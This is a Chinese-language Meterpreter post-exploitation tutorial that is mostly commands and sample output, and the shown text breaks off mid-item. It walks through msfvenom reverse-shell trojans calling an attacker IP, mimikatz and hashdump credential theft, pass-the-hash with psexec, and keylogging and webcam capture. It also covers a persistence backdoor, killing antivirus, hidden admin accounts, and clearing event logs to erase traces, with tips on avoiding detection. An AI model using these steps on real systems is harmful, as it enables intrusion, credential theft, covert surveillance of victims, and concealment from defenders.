0x01初识Meterpreter1.1.什么是Meterpreter FROM ANYUN.ORG Meterpreter是Metasploit框架中的一个扩展模块,作为溢出成功以后的攻击载荷使用,攻击载荷在溢出攻击成功以后给我们返回一个控制通道。使用它作为攻击载荷能够获得目标系统的一个Meterpreter shell的链接。Meterpreter shell作为渗透模块有很多有用的功能,比如添加一个用户、隐藏一些东西、打开shell、得到用户密码、上传下载远程主机的文件、运行cmd.exe、捕捉屏幕、得到远程控制权、捕获按键信息、清除应用程序、显示远程主机的系统信息、显示远程机器的网络接口和IP地址等信息。另外Meterpreter能够躲避入侵检测系统。在远程主机上隐藏自己,它不改变系统硬盘中的文件,因此HIDS[基于主机的入侵检测系统]很难对它做出响应。此外它在运行的时候系统时间是变化的,所以跟踪它或者终止它对于一个有经验的人也会变得非常困难。 最后,Meterpreter还可以简化任务创建多个会话。可以来利用这些会话进行渗透。在Metasploit Framework中,Meterpreter是一种后渗透工具,它属于一种在运行过程中可通过网络进行功能扩展的动态可扩展型Payload。这种工具是基于“内存DLL注入”理念实现的,它能够通过创建一个新进程并调用注入的DLL来让目标系统运行注入的DLL文件。其中,攻击者与目标设备中Meterpreter的通信是通过Stager套接字实现的meterpreter作为后渗透模块有多种类型,并且命令由核心命令和扩展库命令组成,极大的丰富了攻击方式。 需要说明的meterpreter在漏洞利用成功后会发送第二阶段的代码和meterpreter服务器dll,所以在网络不稳定的情况下经常出现没有可执行命令,或者会话建立执行help之后发现缺少命令。 连上vpn又在内网中使用psexec和bind_tcp的时候经常会出现这种情况 1.2.Meterpreter技术优势 Metasploit提供了各个主流平台的Meterpreter版本,包括Windows、Linux,同时支持x86、x64平台,另外,Meterpreter还提供了基于PHP和Java语言的实现。Meterpreter的工作模式是纯内存的,好处是启动隐藏,很难被杀毒软件监测到。不需要访问目标主机磁盘,所以也没什么入侵的痕迹。除上述外,Meterpreter还支持Ruby脚本形式的扩展。所以Ruby语言还很有必要。 0x02 Meterpreter中常用的反弹类型1.reverse_tcp 这是一个基于TCP的反向链接反弹shell, 使用起来很稳定 (1)Linux: 使用下列命令生成一个Linux下反弹shell木马: msfvenom -p linux/x86/meterpreter/reverse_tcp lhost=192.168.1.102 lport=4444 -f elf -o shell 看上图,我们可以看见目录下已经成功生成木马文件isshell。然后我们给文件加上可执行权限。然后我们打开Metasploit,使用模块handler,设置payload,注意:这里设置的payload要和我们生成木马所使用的payload一样。 设置下地址和端口,我们就开始监听了 这边运行一下我们的反弹shell木马,可以发现成功反弹回shell了 (2)Windows: msfvenom -p windows/meterpreter/reverse_tcp lhost=[你的IP] lport=[端口] -f exe -o 要生成的文件名 msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.102 lport=4444 -f exe -o shell.exe
2.reverse_http 基于http方式的反向连接,在网速慢的情况下不稳定。 payload:/windows/meterpreter/reverse_http 3.reverse_https 基于https方式的反向连接,在网速慢的情况下不稳定, https如果反弹没有收到数据,可以将监听端口换成443试试 payload:/windows/meterpreter/reverse_https
4.bind_tcp 这是一个基于TCP的正向连接shell,因为在内网跨网段时无法连接到attack的机器,所以在内网中经常会使用,不需要设置LHOST。 使用下列命令生成木马: msfvenom -p linux/x86/meterpreter/bind_tcp lport=4444 -f elf -o shell 同样道理加权限运行,不演示了。 这里注意,我们设置的IP地址和端口就是目标机的。因为这是我们主动来连接它。 0x03 相关PayloadPayload中包含有需要在远程系统中运行的恶意代码,而在Metasploit中Payload是一种特殊模块,它们能够以漏洞利用模块运行,并能够利用目标系统中的安全漏洞实施攻击。简而言之,这种漏洞利用模块可以访问目标系统,而其中的代码定义了Payload在目标系统中的行为。 Metasploit中的Payload模块主要有以下三种类型: -Single -Stager -Stage Single是一种完全独立的Payload,而且使用起来就像运行calc.exe一样简单,例如添加一个系统用户或删除一份文件。由于Single Payload是完全独立的,因此它们有可能会被类似netcat这样的非metasploit处理工具所捕捉到。 Stager这种Payload负责建立目标用户与攻击者之间的网络连接,并下载额外的组件或应用程序。一种常见的Stagers Payload就是reverse_tcp,它可以让目标系统与攻击者建立一条tcp连接。另一种常见的是bind_tcp,它可以让目标系统开启一个tcp监听器,而攻击者随时可以与目标系统进行通信。 Stage是Stager Payload下载的一种Payload组件,这种Payload可以提供更加高级的功能,而且没有大小限制。 在Metasploit中,我们可以通过Payload的名称和使用格式来推断它的类型: Single Payload的格式为<target>/ <single> Stager/Stage Payload的格式为<target>/ <stage> / <stager> 当我们在Metasploit中执行“show payloads”命令之后,它会给我们显示一个可使用的Payload列表: 在这个列表中,windows/powershell_bind_tcp就是一个Single Payload,它不包含Stage Payload。而windows/x64/meterpreter/reverse_tcp则由一个Stager Payload(reverse_tcp)和一个Stage Payload(meterpreter)组成。 0x04 Meterpreter的常用命令1.基本命令 help# 查看Meterpreter帮助
background#返回,把meterpreter后台挂起 bgkill# 杀死一个背景 meterpreter 脚本 bglist#提供所有正在运行的后台脚本的列表 bgrun#作为一个后台线程运行脚本
channel#显示活动频道 sessions -i number # 与会话进行交互,number表示第n个session,使用session -i 连接到指定序号的meterpreter会话已继续利用 sesssions -k number #与会话进行交互 close# 关闭通道 exit# 终止 meterpreter 会话 quit# 终止 meterpreter 会话 interact id #切换进一个信道
run#执行一个已有的模块,这里要说的是输入run后按两下tab,会列出所有的已有的脚本,常用的有autoroute,hashdump,arp_scanner,multi_meter_inject等
irb# 进入 Ruby 脚本模式
read# 从通道读取数据 write# 将数据写入到一个通道
run和bgrun# 前台和后台执行以后它选定的 meterpreter 脚本 use# 加载 meterpreter 的扩展 load/use#加载模块
Resource#执行一个已有的rc脚本 2.文件系统命令 cat c:\boot.ini#查看文件内容,文件必须存在 del c:\boot.ini #删除指定的文件 upload /root/Desktop/netcat.exe c:\ # 上传文件到目标机主上,如upload setup.exe C:\\windows\\system32\ download nimeia.txt /root/Desktop/ # 下载文件到本机上如:download C:\\boot.ini /root/或者download C:\\"ProgramFiles"\\Tencent\\QQ\\Users\\295******125\\Msg2.0.db /root/ edit c:\boot.ini # 编辑文件 getlwd#打印本地目录 getwd#打印工作目录 lcd#更改本地目录 ls#列出在当前目录中的文件列表 lpwd#打印本地目录 pwd#输出工作目录 cd c:\\ #进入目录文件下 rm file #删除文件 mkdir dier #在受害者系统上的创建目录 rmdir#受害者系统上删除目录 dir#列出目标主机的文件和文件夹信息 mv#修改目标主机上的文件名 search -d d:\\www -f web.config #search 文件,如search -d c:\\ -f*.doc meterpreter > search -f autoexec.bat #搜索文件 meterpreter > search -f sea*.bat c:\\xamp\\ enumdesktops #用户登录数 (1)下载文件 使用命令“download +file path”,将下载目标机器的相对应权限的任何路径下的文件 (2)上传文件 “upload”命令为上传文件到我们的目标机器,在图中我们上传了ll.txt到目标机器的c:\pp\下。 (3)查看文件 “cat filename”在当前目录下查看文件内容,输入命令后便会返回给我们所查看文件的内容。 (4)切换、查询当前路径 “pwd”命令将查询当前在dos命令下的路径,“cd”命令可以改变当前路径,如下图中cd ..为切换到当前路径下的上一目录。 (5)“sysinfo”命令 “sysinfo”命令为显示远程主机的系统信息,显示计算机、系统信息、结构、语言等信息。可以看到远程主机的操作系统是windows XP service pack 2,sp2这个系统有很多漏洞。 (6)execute命令 “execute”命令为目标主机上执行一个命令,其中“execute -h”显示帮助信息。-f为执行要运行的命令, 在目标主机上运行某个程序,例如我们目前注入进程到explorer.exe后,运行用户为超级管理administrator 我们运行一下目标主机上的记事本程序 execute -f notepad.exe
execute -H -f notepad.exe 此时目标主机桌面没反应,但我们在meterpreter会话上使用ps命令看到了 命令: execute -H -i -f cmd.exe 这达到的效果就跟使用shell命令一样了 再来一个,在目标主机内存中直接执行我们攻击主机上的攻击程序,比如wce.exe,又比如木马等,这样可以避免攻击程序存储到目标主机硬盘上被发现或被查杀。 execute -H -m -d notepad.exe-f wce.exe -a "-o wce.txt" -d 在目标主机执行时显示的进程名称(用以伪装) -m 直接从内存中执行 "-o wce.txt"是wce.exe的运行参数 (7)idletime命令 “idletime”命令为显示目标机器截止到当前无操作命令的时间。图中的显示意思为目标主机有操作是在9分19秒之前。 (8)search命令 “search“命令在目标主机搜索特定的文件。该命令能够通过搜索整个系统或特定的文件夹。 使用“search –h”命令来查看search命令的帮助信息: 下图中,“search –f aa.txt”命令为查看目标机中在当前目录以及当前目录的子目录中有没有aa.txt这个文件,若有则显示出其路径。 “search –f l*.txt c:\\pp”为显示出c:\\pp下及pp文件夹下所有的子文件下所有以l开头的txt文件,若有此类文件,则返回其路径和其大小。 (9)edit命令 调用vi编辑器,对目标主机上的文件修改 例如修改目标主机上的hosts文件,使得目标主机访问baidu时去到准备好的钓鱼网站(仅限实验用途)
3.网络命令 ipconfig/ifconfig#显示网络接口的关键信息,包括 IP 地址 portfwd -h 用法:portfwd [-h] [add | delete | list | flush] [args]
选项: -L <opt>要监听的本地主机(可选) -h帮助横幅 -l <opt>要监听的本地端口 -p <opt>连接到的远程端口 -r <opt>要连接到的远程主机 portfwd add -l 4444 -p 3389 -r 192.168.1.102 # 端口转发,本机监听4444,把目标机3389转到本机4444 netstat -an | grep“4444" #查看指定端口开放情况 rdesktop -u Administrator -p bk#123 127.0.0.1:4444 #使用rdesktop来连接桌面,-u 用户名 -p 密码 rdesktop 127.1.1.0:4444 #需要输入用户名和密码远程连接 route#查看或修改受害者路由表 route add 192.168.1.0 255.255.255.0 1 #添加动态路由 route print #路由表输出 runget_local_subnets #目标主机的内网IP段情况 Arp #看ARP缓冲表 Getproxy #获取代理 (1)portfwd 网络命令则有列出ip信息(ipconfig),展示修改路由表(route),还有端口转发(portfwd)。 比如portfwd: 在建立规则之后就可以连接本地3344端口,这样远程的3389端口就转发出来了。 (2)route 使用route命令可以借助meterpreter会话进一步msf渗透内网,我们已经拿下并产生meterpreter反弹会话的主机可能出于内网之中,外有一层NAT,我们无法直接向其内网中其他主机发起攻击,则可以借助已产生的meterpreter会话作为路由跳板,攻击内网其它主机。 可以先使用run get_local_subnets命令查看已拿下的目标主机的内网IP段情况 命令:run get_local_subnets 如下图: 其内网有192.168.249.0/24网段,我们无法直接访问 下面做一条路由,下一跳为当前拿下主机的sessionid(目前为5),即所有对249网段的攻击流量都通过已渗透的这台目标主机的meterpreter会话来传递。 命令:route add 192.168.249.0 255.255.255.0 5 再使用route print查看一下路由表,效果如下图:
大多时候我们获取到的meterpreter shell处于内网,而我们需要代理到目标内网环境中,扫描其内网服务器。这时可以使用route功能,添加一条通向目标服务器内网的路由。 查看shell网络环境: meterpreter>run get_local_subnets 添加一条通向目标服务器内网的路由 meterpreter>run autoroute -s 100.0.0.0/8 #(根据目标内网网络而定) 查看路由设置: meterpreter>run autoroute –p 一般来说,在meterpreter中设置路由便可以达到通往其内网的目的。然而有些时候还是会失败,这时我们可以background返回msf>,查看下外面的路由情况。 route print 如果发现没有路由信息,说明meterpreter shell设置的路由并没有生效,我们可以在msf中添加路由。 msf>route add 10.0.0.0 255.0.0.0 1 说明:1表示session 1,攻击机如果要去访问10.0.0.0/8网段的资源,其下一跳是session1,至于什么是下一条这里不多说了,反正就是目前攻击机可以访问内网资源了。
4.键盘监听 Meterpreter还可以在目标设备上实现键盘记录功能,键盘记录主要涉及以下三种命令: keyscan_start:开启键盘记录功能 keyscan_dump:显示捕捉到的键盘记录信息 keyscan_stop:停止键盘记录功能 uictl enable keyboard/mouse#接管目标主机的键盘和鼠标。 meterpreter > keyscan_start #针对远程目标主机开启键盘记录功能 Starting the keystroke sniffer... meterpreter > keyscan_dump #存储目标主机上捕获的键盘记录 Dumping captured keystrokes... dir <Return> cd<Ctrl> <LCtrl> meterpreter > keyscan_stop #停止针对目标主机的键盘记录 Stopping the keystroke sniffer...
这里需要注意一下windows会话窗口的概念,windows桌面划分为不同的会话(session),以便于与windows交互。会话0代表控制台,1,2代表远程桌面。所以要截获键盘输入必须在0中进行。可以使用getdesktop查看或者截张图试试。否则使用setdesktop切换。 如果不行就切换到explorer.exe进程中,这样也可以监听到远程桌面连接进来之后的键盘输入数据。
5.系统命令 reboot#重新启动受害人的计算机 reg#与受害人的注册表进行交互 rev2self#回到控制目标主机的初始用户账户下 shell#获得控制台权限 shutdown#关闭了受害者的计算机 sysinfo # 查看目标机系统信息,如机器名,操作系统等 add_user username password -h ip #在远程目标主机上添加一个用户 add_group_user "Domain Admins" username -h ip #将用户添加到目标主机的域管理员组中 shell命令 获取目标主机的远程命令行shell,如果出错,考虑是目标主机限制了cmd.exe的访问权,可以使用migrate注入到管理员用户进程中再尝试 6.mimikatz meterpreter > load mimikatz #加载mimikatz meterpreter > msv #获取hash值 meterpreter > kerberos #获取明文 meterpreter >ssp #获取明文信息 meterpreter > wdigest #获取系统账户信息 meterpreter >mimikatz_command -f a:: #必须要以错误的模块来让正确的模块显示 meterpreter >mimikatz_command -f hash:: #获取目标 hash meterpreter > mimikatz_command -f samdump::hashes meterpreter > mimikatz_command -f sekurlsa::searchPasswords
7.网络嗅探 meterpreter > use sniffer # 加载嗅探模块 Loading extension sniffer...success. meterpreter > sniffer_interfaces #列出目标主机所有开放的网络接口 1 - 'WAN Miniport (Network Monitor)' ( type:3 mtu:1514 usable:true dhcp:false wifi:false ) 2 - 'Intel(R) PRO/1000 MT Desktop Adapter' ( type:0 mtu:1514 usable:true dhcp:true wifi:false ) 3 - 'Cisco Systems VPN Adapter' ( type:4294967295 mtu:0 usable:false dhcp:false wifi:false ) meterpreter > sniffer_start 2 #获取正在实施嗅探网络接口的统计数据 [*] Capture started on interface 2 (50000 packet buffer) meterpreter > sniffer_dump 2 /tmp/test2.cap #在目标主机上针对特定范围的数据包缓冲区启动嗅探 [*] Flushing packet capture buffer for interface 2... [*] Flushed 1176 packets (443692 bytes) [*] Downloaded 100% (443692/443692)... [*] Download completed, converting to PCAP... [*] PCAP file written to /tmp/test2.cap meterpreter > sniffer_stop 2 #停止嗅探 Metasploit包含sniffer脚本。Meterpreter的这个模块可以用来做数据包捕获,不需要在远程机器上安装任何软件: 首先执行use sniffer命令作用为使用嗅探脚本。 sniffer_interfaces命令为获取网卡的信息,得到我们的ID为1. sniffer_start ID命令开始嗅探。 sniffer_dump ID filepath保存抓取的数据包,本例中/tmp/1.cap是抓取数据包的保存路径。 对抓取的包进行解包: use auxiliary/sniffer/psnuffle set pcapfile 1.cap run 然后在shell中中输入:wireshark,加载这个/tmp/xpsp1.cap包即可: 8.获取敏感信息 run post/windows/gather/checkvm #是否虚拟机 run post/windows/gather/enum_applications #获取安装软件信息 run post/windows/gather/dumplinks #获取最近的文件操作 run post/windows/gather/enum_ie #获取IE缓存 run post/windows/gather/enum_chrome #获取Chrome缓存 run scraper #获取常见信息 #保存在~/.msf4/logs/scripts/scraper/目录下 (1)post/windows/gather/enum_application模块获取目标主机上的软件安装信息 命令:run post/windows/gather/enum_applications 效果如图: (2) post/windows/gather/enum_ie后渗透模块,读取目标主机IE浏览器cookies等缓存信息,嗅探目标主机登录过的各类账号密码 命令:run post/windows/gather/enum_ie 效果如下图: 获取到的目标主机上的ie浏览器缓存历史记录和cookies信息等都保存到了攻击主机本地的/root/.msf5/loot/目录下,这里说IE7以上才有效 9.获取Hash 使用“hashdump”命令可以从系统提取用户名和密码hashes。使用hashdump命令可以获取目标主机的SAM文件,获取目标主机的账号密码hash信息,剩下的可以用爆破软件算出明文密码,微软一般用LM,NTML和NTLMv2形式的哈希表存储密码。若想运行这个命令, 需要有注册表和SAM [Security Account Manager]的系统的权限,如果你是作为一个普通的用户登陆的话,你需要提升权限,这我们将在后面提到。 meterpreter > run post/windows/gather/smart_hashdump [*] Running module against TESTING [*] Hashes will be saved to the database if one is connected. [*] Hashes will be saved in loot in JtR password file format to: [*] /home/croxy/.msf4/loot/20150929225044_default_10.0.2.15_windows.hashes_407551.txt [*] Dumping password hashes... [*] Running as SYSTEM extracting hashes from registry [*] Obtaining the boot key... [*] Calculating the hboot key using SYSKEY 8c2c8d96e92a8ccfc407a1ca48531239... [*] Obtaining the user list and keys... [*] Decrypting user keys... [*] Dumping password hints... [+]Croxy:"Whoareyou" [*] Dumping password hashes... [+]Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: [+]HomeGroupUser$:1002:aad3b435b51404eeaad3b435b51404ee:e3f0347f8b369cac49e62a18e34834c0::: [+]test123:1003:aad3b435b51404eeaad3b435b51404ee:0687211d2894295829686a18ae83c56d::: 脚本和post模块都需要通过“run”命令执行,我在测试环境中运行hashdump模块后的结果如下:
数据的输出格式为:用户名:SID:LM哈希:NTLM哈希:::,所以我们得到了三个用户账号,分别为Administrator, Guest和Coen。 其中的LM哈希(aad3b435b51404eeaad3b435b51404ee)跟NTLM哈希(31d6cfe0d16ae931b73c59d7e0c089c0)对应的是一个空密码。 接下来要处理的就是用户Coen的密码(f773c5db7ddebefa4b0dae7ee8c50aea)了。虽然我们可以使用类似John the Ripper这样的工具来破解密码,但是我们直接Google这个哈希之后,就直接得到了密码明文:trustno1。
use post/windows/gather/hashdump set session 4 run
10.通过Hash获取权限 msf > use exploit/windows/smb/psexec msf exploit(psexec) > show options
Module options (exploit/windows/smb/psexec):
Name Current Setting Required Description ------------------- -------- ----------- RHOST yes The target address RPORT 445 yes Set the SMB service port SHAREADMIN$ yes The share to connect to, can be an admi n share
(ADMIN$,C$,...) or a normal read/write folder share SMBDomainWORKGROUP no The Windows domain to use for authentication SMBPass no The password for the specified username SMBUser no The username to authenticate as
Exploit target:
Id Name -- ---- 0 Automatic
msf exploit(psexec) > set RHOST 192.168.0.254 RHOST => 192.168.0.254 msf exploit(psexec) > set SMBUser isosky SMBUser => isosky msf exploit(psexec) > set SMBPass 01FC5A6BE7BC6929AAD3B435B51404EE:0CB6948805F797BF2A82807973B89537
SMBPass => 01FC5A6BE7BC6929AAD3B435B51404EE:0CB6948805F797BF2A82807973B89537 msf exploit(psexec) > exploit [*] Started reverse handler on 192.168.0.3:4444 [*] Connecting to the server... [*] Authenticating to 192.168.0.254:445|WORKGROUP as user 'isosky'... [*] Uploading payload... [*] Created \UGdecsam.exe... [*] Binding to 367abb81-9844-35f1-ad32-98f038001003:2.0@ncacn_np:192.168.0.254[\svcctl] ... [*] Bound to 367abb81-9844-35f1-ad32-98f038001003:2.0@ncacn_np:192.168.0.254[\svcctl] ... [*] Obtaining a service manager handle... [*] Creating a new service (MZsCnzjn - "MrZdoQwIlbBIYZQJyumxYX")... [*] Closing service handle... [*] Opening service... [*] Starting the service... [*] Removing the service... [*] Closing service handle... [*] Deleting \UGdecsam.exe... [*] Sending stage (749056 bytes) to 192.168.0.254 [*] Meterpreter session 1 opened (192.168.0.3:4444 -> 192.168.0.254:1877) at 2011-07-19 03:57:17 +0800 11.捕捉屏幕 要想查看到远程机器当前的桌面信息,可以使用“screenshot”命令,可以看到,此命令不仅把对方的桌面给显示了出来而且把桌面作为图片形式保存在了本地。我们通过桌面的信息可以知道一些对我们入侵有帮助的信息,比如对方的杀毒软件的类型等等。 我们可以使用“screenshot”命令来进行屏幕截图并存储在我们的系统之中。 截取的效果如下所示: 12.得到远程桌面 使用命令“run vnc”将会弹出窗口,在此窗口中就是对方现在打开的桌面情况,在这里,可以对远程机器进行操控。
13.权限提升 这是meterpreter中实施漏洞利用系统特权要求的一个重要的模块。为了这个目的,我们必须用PRIV extention.,在旧版本的Metasploit中Priv extension并不自动装载,使用“use priv”手动加载的。然而在后来的msf版本中并不需要担心这一点。 使用“getuid”获得当前的权限,migrate+PID迁移进程(当我们攻击一个系统是,常常是对像是IE之类的服务漏洞进行利用的,可是不免有对方关闭IE的情况,那么我们的meterpreter会话将会关闭,从而导致与目标系统失去连接,所以我们可以使用迁移进程后的攻击模块,将sessions迁移到内存空间中的其他稳定的、不会被关闭的服务进程中,以维持稳定的系统控制),从列表中看到PID为500的是administrator权限,所以是迁移到administrator的权限,“getsystem –h”升级为权限SYSTEM账户。这个模块可以用来提升我们的特权,有四个技巧。Meterpreter自动检查四个方法并且尝试其最好方法。然后看到我们权限又变为了system权限了。 ps#列出正在运行的进程 kill pid # 杀死进程 migrate pid # 将Meterpreter会话移植到进程数为pid的进程中,需要注意的是如果存在杀软的话可能会阻止进程注入,所以把会话进程注入到svchost.exe是一个好方法 getprivs#尽可能获取尽可能多的特权 getuid #获得当前的权限 getsystem #通过各种攻击向量将一个管理帐户(通常为本地Administrator账户)提升为本地SYSTEM帐户 getsystem –h #升级权限SYSTEM账户 使用MS14-058之类的Exp进行提权: meterpreter > background [*] Backgrounding session 3.. msf exploit(handler) > use exploit/windows/local/ms14_058_track_popup_menu msf exploit(ms14_058_track_popup_menu) > set SESSION 3 use priv#加载特权提升扩展模块,来扩展Meterpreter库
列出远程机器的进程和进程ID方便迁移我们的进程,进而改变我们的权限。使用“ps”命令。
在得到的进程列表后,可以实现迁移进程,用getpid查看当前进程号,然后根据上图既可以知道当前的权限,若再用migrate+pid,就会迁移到另一个进程中,然后我们的权限就改变了。 14.盗取令牌 meterpreter >use incognito 加载incoginto功能(用来盗窃目标主机的令牌或是假冒用户) meterpreter >list_tokens -u 列出目标主机用户的可用令牌 meterpreter >list_tokens -g 列出目标主机用户组的可用令牌 meterpreter >impersonate_token DOMAIN_NAME\\USERNAME 假冒目标主机上的可用令牌,如meterpreter > impersonate_token QLWEB\\Administrato meterpreter >execute -f cmd.exe -i -t #调用域权限shell meterpreter > getuid meterpreter>add_user 0xfa funny –h192.168.3.98 #在域控主机上添加账户 meterpreter>reg command # 在目标主机注册表中进行交互,创建,删除,查询等操作 meterpreter>setdesktop number #切换到另一个用户界面(该功能基于哪些用户已登录) meterpreter>ps #查看目标机器进程,找出域控账户运行的进程ID meterpreter>steal_token pid #盗窃给定进行的可用令牌并进行令牌假冒 meterpreter>drop_token pid #停止假冒当前令牌
另一个提权的方法是扮演一个帐户从一个特定进程偷取令牌。为此,我们需要“incognito”扩展,使用“steal_token+PID”这个例子中我们使用的是steal_token 640,其中由前面执行ps后得到的信息可知,PID为640的权限为administrator,所以我们在执行命令后虽然提示错误信息,但是它仍会被成功在后台执行,所以在运行steal_token后核实UID,我们的权限就变为了administrator了。
load incognito list_tokens -u impersonate_token xxxxx\\xxxxxxx execute -f cmd.exe -i -t 15.清除事件日志 完成攻击操作之后,千万别忘了“打扫战场”。我们的所有操作都会被记录在目标系统的日志文件之中,因此我们需要在完成攻击之后使用命令“clearev”命令来清除事件日志 执行“clearev”命令,将清除事件日志。这个命令没有任何选项或参数。
执行“clearev”命令后打开目标机器的事件查看器里面的应用程序、安全性、系统都是是空的:
16.网络摄像头 record_mic #音频录制 webcam_chat #查看摄像头接口 webcam_list #查看摄像头列表 webcam_stream #摄像头视频获取 webcam_list meterpreter > webcam_list 1: Creative WebCam NX Pro 2: Creative WebCam NX Pro (VFW) meterpreter > webcam_snap meterpreter > webcam_snap -h Usage: webcam_snap [options] OPTIONS: -h Help Banner -i >opt> The index of the webcam to use (Default: 1) -p >opt> The JPEG image path (Default: 'gnFjTnzi.jpeg') -q >opt> The JPEG image quality (Default: '50') -v >opt> Automatically view the JPEG image (Default: 'true') meterpreter > OPTIONS: -h: Displays the help information for the command -i opt: If more then 1 web cam is connected, use this option to select the device to capture the image from -p opt: Change path and filename of the image to be saved -q opt: The imagine quality, 50 being the default/medium setting, 100 being best quality -v opt: By default the value is true, which opens the image after capture Example usage: meterpreter > webcam_snap -i 1 -v false [*] Starting... [+] Got frame [*] Stopped Webcam shot saved to: /root/Offsec/YxdhwpeQ.jpeg meterpreter > “webcam_snap”命令为抓取目标主机当前的摄像头拍摄到的画面,并将它以图片形式保存到本地,“webcam_snap –h”命令为查看参数的使用方法。由于我们的实验中目标机器没有摄像头,所以我们运行“webcam_snap -i 1 -v false”命令之后返回以下信息。
17.一些脚本命令 为获取远程机器上的信息,在meterpreter中还有很多脚本可用,做更大的渗透测试。 使用“run scriptname”来使用meterpreter模块中的脚本命令 (1)调用post/windows/gather/checkvm后渗透模块,确定目标主机是否是一台虚拟机 命令: run post/windows/gather/checkvm 效果如下图:
同样有许多类似这样的脚本,下面来介绍几个重要的脚本: (2) packetrecorder——“run packetrecorder”查看目标系统的所有网络流量,并且进行数据包记录,-i 1指定记录数据包的网卡。 从下图中运行之后返回的信息中可以到我们需要查看的目标系统的网络流量信息将被存储的路径,可以到下面路径中直接查看。
(3)get_local_subnets——“run get_local_subnets”得到本地子网网段 (4)getcountermeasure—run getcountermeasure显示HIPS和AV进程的列表,显示远程机器的防火墙规则,列出DEP和UAC策略
(5) scraper——“run scraper”从目标主机获得所有网络共享等信息 并且获得的这些所有这些信息都存储在/root/.msf4/logs/scripts/scraper directory目录下。使用ls命令查看存储的这些文件。
(6) killav——“run killav”命令终止Av进程,可以很快的清除我们的路径和有效渗透测试的记录 但是这个脚本,不能绝对得逃避杀毒软件,但是如果成功了对被攻击者会是一个严重的打击,对他造成很大的困扰
使用了 “run killav”命令后xp会终止Av进程然后弹出窗口:
(7)hashdump——“run hashdump”获得密码哈希值 运行这个脚本和在meterpreter下直接运行hashdump结果差不多。 (8)keylogrecorder——“run keylogrecorder”命令为记录键盘信息 运行这个脚本和在meterpreter下直接运行keyscan结果差不多,这里将对键盘记录的文件进行保存,路径如下。
(9) persistence——“run persistence”这个脚本可以被用作持续欺骗主机 远程主机重启后将在特定的时间间隔保持meterpreter会话 run persistence -X -i 5 -p 4444 -r 172.17.11.18 #植入后门 -X 在目标主机上开机自启动 -i 不断尝试反向连接的时间间隔 persistence后渗透模块向目标主机植入后门程序 效果如下图:
创建攻击载荷->攻击载荷植入到目标主机c:\windows\temp目录下,是一个.vbs的脚本->写目标主机注册表键值实现开机自动运行。 下图,看目标主机注册表Run键值果然被写入了一个pDTizIlNK的键值,执行后门vbs脚本
(10)enum_drives 这个后渗透攻击模块是获取目标主机磁盘分区信息,我们就以这个例讲解后渗透攻击模块使用方法。 后渗透模块post/windows/gather/forensics/enum_drives调用 在获取meterpreter会话session后,调用post/windows/gather/forensics/enum_drives,可获取目标主机存储器信息: 命令,在msfconsole下: use post/windows/gather/forensics/enum_drives set SESSION 1 exploit 效果如图:
我们首先将meterpreter会话放入后台,然后搜索我们的模块。 然后使用use命令来使用模块,然后设置一下会话id,接着执行,可以发现成功获取到目标主机磁盘分区的信息。 18.SOCKS代理 Metasploit可以作为一个SOCKS代理服务器,具体步骤为首先通过Metasploit的某些模块建立会话,就像本章前面介绍的,建立完会话之后,执行“route add +IP+mask+SID”,本例中我们路由的ip网段为10.1.1.0,然后使用“use auxiliary/server/socks4a”命令来使用sock4a模块,执行run命令 ,socks便会执行 然后再在命令行下执行proxychains命令,使用代理对目标主机进行扫描,nmap,nc等都可以,此例子中我们对目标机10.1.1.130的445端口进行扫描。从返回给我们的结果可以看到,我们的代理已经设置成功。
19.运行程序 我们还可以使用“execute”命令在目标系统中执行应用程序。这个命令的使用方法如下: execute -f<file> [Options] execute -f cmd.exe -i#执行cmd.exe命令并进行交互 execute -f cmd.exe -i -t#以所有可用令牌来执行cmd命令 execute -f cmd.exe -i -H -t#创建新进程cmd.exe,-H不可见,-i交互 execute -H -i -f cmd.exe execute -H -m -d notepad.exe-f wce.exe -a "-o wce.txt" 运行后它将执行file参数所指定的文件。可选参数如下: -H:创建一个隐藏进程 -a:传递给命令的参数 -i:跟进程进行交互 -m:从内存中执行 -t:使用当前伪造的线程令牌运行进程 -s:在给定会话中执行进程 -f 执行的程序文件 -d 在目标主机执行时显示的进程名称(用以伪装) -o wce.txt"是wce.exe的运行参数 20.创建账号 getgui——getgui ,为添加用户的命令,首先用“run getgui -h”查看脚本getgui的帮助信息 run getgui-e #开启远程桌面 run getgui -uexample_username -pexample_password #添加账号 调用getgui后渗透攻击模块 作用:开启目标主机远程桌面,并可添加管理员组账号 命令: run getgui -e 开启目标主机远程桌面 如下图:
命令: run getgui -u example_username -p example_password 如下图: rdesktop -u kali -p meterpreter 192.168.250.176:3389 从上图可以看出这个脚本的用法是“rungetgui –u username –p password”,我添加了一个lu的用户密码为6666。从下图中可以看到用户已经添加成功。 添加完账户之后使用rdesktop命令连接一下远程主机,具体用法是“rdesktop –u username –p password IP”执行命令之后就会弹出一个窗口,只需再输入一次密码就可以进入目标机器,并对目标机器直接进行控制。 接下来,我们可以在目标系统中创建一个新的用户账号(getgui脚本,使用-u和-p参数),并给它分配管理员权限(使用),然后将其添加到”远程桌面用户”组中。 当然了,你也可以尝试将这个新添加的用户Hacker在Windows登录界面中隐藏。 21.启用远程桌面 当我们新添加的用户已经拥有远程桌面权限之后,我们就可以使用这个账号凭证来开启远程桌面会话了。 首先,我们需要确保目标Windows设备开启了远程桌面功能(需要开启多个服务),不过我们的getgui脚本可以帮我们搞定。我们可以使用-e参数确保目标设备开启了远程桌面功能(重启之后同样会自动开启): 在开启远程桌面会话之前,我们还需要使用“idletime”命令检查远程用户的空闲时长: 这样可以降低你被发现的概率,因为当目标用户登录之后,它将会看到如下图所示的信息: 下图显示的是攻击者使用新创建的“Hacker”账号连接到远程桌面的画面: run post/windows/manage/enable_rdp 还可以使用 run getgui -e 来开启远程桌面: 利用该命令,我们还可以在目标机器上添加用户: run getgui -u xxxxx -p xxxxx 22.绑定进程 Meterpreter既可以单独运行,也可以与其他进程进行绑定。因此,我们可以让Meterpreter与类似explorer.exe这样的进程进行绑定,并以此来实现持久化。 在下面的例子中,我们会将Meterpreter跟winlogon.exe绑定,并在登录进程中捕获键盘记录。 首先,我们需要使用“ps”命令查看目标设备中运行的进程: 接下来,使用“getpid”找出需要绑定的进程,接下来,使用migrate命令+pid来绑定进程。 绑定完成之后,我们就可以开始捕获键盘数据了: 接下来,我们可以选择导出键盘记录,或者使用命令“enum_logged_on_users”来检查用户是否成功登录: 等待片刻之后,使用keyscan_dump命令导出记录信息: 捕捉到的用户密码为trustno1 23.通过其 shell 来关闭防火墙 netsh 